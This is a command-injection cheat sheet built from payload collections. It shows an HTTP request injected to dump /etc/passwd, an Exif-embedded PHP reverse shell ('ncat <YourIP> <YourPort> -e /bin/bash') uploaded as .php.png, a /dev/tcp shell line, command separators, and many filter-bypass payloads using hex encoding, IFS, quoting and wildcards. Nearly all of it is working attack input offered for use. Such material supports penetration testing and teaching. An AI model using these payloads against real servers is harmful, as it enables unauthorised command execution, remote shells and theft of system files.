OS Command Injection

> OS command injection or `"shell injection"` is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, which leads to expose some secrets or manipulate the data

Summary

Exploits

:fire: **example :**

Request :

```
POST /product/stock HTTP/1.1
Host: sub.web-security-academy.net
Referer: https://sub.web-security-academy.net/product?productId=2
```

Request Body :

```
productId=2&storeId=1
```

Modified Request Body :

```
productId=2&storeId=1|cat /etc/passwd
```

Response :

```
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Connection: close
Content-Length: 1129

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```

:fire: **example :**

Remote Code Execution via Exif Data :

1 - take an image and insert a payload in it using exiftool

```
Payload : exiftool -Comment='<?php system("ncat <YourIP> <YourPort> -e /bin/bash"); ?>' filena
```

2 - in order to execute this file we need to modify the extension because .png is not an executable format, so use this command to modify the file extension mv filename.png filename.php.png

3 - upload the file to your target website

4 - Start Netcat listener on your machine

```
-nlvp 4444
```

5 - visit the URL where the file is uploaded eg: https://www.targetwebsite.com/profile/filename.php.png)

6 - Run the commands eg. : id

Basic commands

Request :

```
cat /etc/passwd
```

Response :

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```

Useful commands

Purpose of command	Linux	Windows
Name of current user	whoami	whoami
Operating system	uname -a	ver
Network configuration	ifconfig	ipconfig
Network connections	netstat -an	netstat -an
Running processes	ps -ef	tasklist

Command Separator

other separators (just try)

```
;
&&
&
|
||
0x0a
\n
```

:warning: Note: Newline (0x0a or \n)

:fire: **example :**

```
productId=2&storeId=1&&cat /etc/passwd
productId=2&storeId=1||cat /etc/passwd
productId=2&storeId=1;cat /etc/passwd
```

Filter Bypasses

Bypass without space

Works on Linux only.

```
cat</etc/passwd

{cat,/etc/passwd}

cat$IFS/etc/passwd

echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd

X=$'uname\x20-a'&&$X

sh</dev/tcp/127.0.0.1/4242
```

Commands execution without spaces, $ or { } - Linux (Bash only)

```
IFS=,;`cat<<<uname,-a`
```

Works on Windows only.

```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

Bypass with a line return

```
something%0Acat%20/etc/passwd
```

Bypass characters filter via hex encoding

linux

```
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc

`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
```

```
cat `xxd -r -p <<< 2f6574632f706173737764`
```

```
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```

Bypass characters filter

Commands execution without backslash and slash - linux bash

```
cat ${HOME:0:1}etc${HOME:0:1}passwd
```

```
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

Bypass Blacklisted words

Bypass with single quote

```
w'h'o'am'i
```

Bypass with double quote

```
w"h"o"am"i
```

Bypass with backslash and slash

```
w\ho\am\i
/\b\i\n/////s\h
```

Bypass with $@

```
who$@ami
```

Bypass with variable expansion

```
/???/??t /???/p??s??
```

```
test=/ehhh/hmtc/pahhh/hmsswd
```

```
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}
```

Bypass with wildcards

```
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```

References

- Portswigger
- PayloadsAllTheThings - By swisskyrepo